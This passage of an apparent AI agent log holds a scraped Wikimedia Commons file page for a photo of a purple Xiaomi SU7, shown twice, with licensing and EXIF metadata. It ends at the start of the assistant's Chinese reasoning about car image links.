history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&oldid=1025476488 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&id=1025476488&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M162553447 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 purple front view (March 21, 2025).jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20250321103943)](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 540 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 186 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/330px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,840 × 2,160 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/3840px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 purple front view (March 21, 2025).jpg\") (4,032 × 2,268 pixels, file size: 3.68 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 purple front view.\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | **English:** Xiaomi SU7 purple front view. |\n| Date | |\n| Source | Own work |\n| Author | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [23° 02′ 29.37″ N, 113° 45′ 38.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en)  Heading=50.927307120659° [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/23.041492/113.760719/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=023.041492&lon=0113.760719) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 23.041492; 113.760719 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [10:39, 21 March 2025](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 4,032 × 2,268 (3.68 MB) | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") ([talk](/wiki/User_talk:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User talk:茅野ふたば\") | [contribs](/wiki/Special:Contributions/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"Special:Contributions/茅野ふたば\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [18.3](https://en.wikipedia.org/wiki/Special:Search?search=18.3) |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction |\n| Direction of image | 50.927307120659 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 50.927307120659 |\n| GPS date | 21 March 2025 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): 茅野ふたば\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [茅野ふたば](https://meta.wikimedia.org/wiki/Special:CentralAuth/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0)\n\n[URL](https://www.wikidata.org/wiki/Special:EntityPage/P2699 \"d:Special:EntityPage/P2699\"): \n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 21 March 2025\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 23°2'29.371\"N, 113°45'38.588\"E\n\n[heading](https://www.wikidata.org/wiki/Special:EntityPage/P7787 \"d:Special:EntityPage/P7787\"): 50.92730712065937 degree\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 80\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0011668611435239 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Purple automobiles in China](/wiki/Category:Purple_automobiles_in_China \"Category:Purple automobiles in China\")\n\nHidden categories:\n\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Dongguan photographs taken on 2025-03-21](/wiki/Category:Dongguan_photographs_taken_on_2025-03-21 \"Category:Dongguan photographs taken on 2025-03-21\")\n* [Images by 茅野ふたば taken with iPhone 14 Pro Max](/wiki/Category:Images_by_%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0_taken_with_iPhone_14_Pro_Max \"Category:Images by 茅野ふたば taken with iPhone 14 Pro Max\")\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:34.141704", "message_id": "msg_f1958edfccea49e2a2f45549c7bff4dc", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg", "content": "🌐 网页内容 (14878 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 Metadata](#metadata)\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n* [File](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&oldid=1025476488 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&id=1025476488&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M162553447 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 purple front view (March 21, 2025).jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20250321103943)](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 540 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 186 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/330px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,840 × 2,160 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/3840px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 purple front view (March 21, 2025).jpg\") (4,032 × 2,268 pixels, file size: 3.68 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 purple front view.\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | **English:** Xiaomi SU7 purple front view. |\n| Date | |\n| Source | Own work |\n| Author | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [23° 02′ 29.37″ N, 113° 45′ 38.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en)  Heading=50.927307120659° [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/23.041492/113.760719/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=023.041492&lon=0113.760719) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 23.041492; 113.760719 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [10:39, 21 March 2025](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 4,032 × 2,268 (3.68 MB) | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") ([talk](/wiki/User_talk:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User talk:茅野ふたば\") | [contribs](/wiki/Special:Contributions/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"Special:Contributions/茅野ふたば\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [18.3](https://en.wikipedia.org/wiki/Special:Search?search=18.3) |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction |\n| Direction of image | 50.927307120659 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 50.927307120659 |\n| GPS date | 21 March 2025 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): 茅野ふたば\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [茅野ふたば](https://meta.wikimedia.org/wiki/Special:CentralAuth/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0)\n\n[URL](https://www.wikidata.org/wiki/Special:EntityPage/P2699 \"d:Special:EntityPage/P2699\"): \n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 21 March 2025\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 23°2'29.371\"N, 113°45'38.588\"E\n\n[heading](https://www.wikidata.org/wiki/Special:EntityPage/P7787 \"d:Special:EntityPage/P7787\"): 50.92730712065937 degree\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 80\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0011668611435239 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Purple automobiles in China](/wiki/Category:Purple_automobiles_in_China \"Category:Purple automobiles in China\")\n\nHidden categories:\n\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Dongguan photographs taken on 2025-03-21](/wiki/Category:Dongguan_photographs_taken_on_2025-03-21 \"Category:Dongguan photographs taken on 2025-03-21\")\n* [Images by 茅野ふたば taken with iPhone 14 Pro Max](/wiki/Category:Images_by_%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0_taken_with_iPhone_14_Pro_Max \"Category:Images by 茅野ふたば taken with iPhone 14 Pro Max\")\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_s8y6Z46TAOkPWLQDTamLtGzy", "name": "extract_webpage"}, {"role": "assistant", "reasoning_content": "拿到三张图的直链:\n\n1. 尚界Z7(SAIC Z7 MY2026):https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg\n - 横构图 4:3(3714×2786),2026年7月实拍,CC0\n - 描述只写了 \"SAIC Z7 MY2026\",没写颜色和角度。3714×2786 横图。这是iPhone 14 Pro 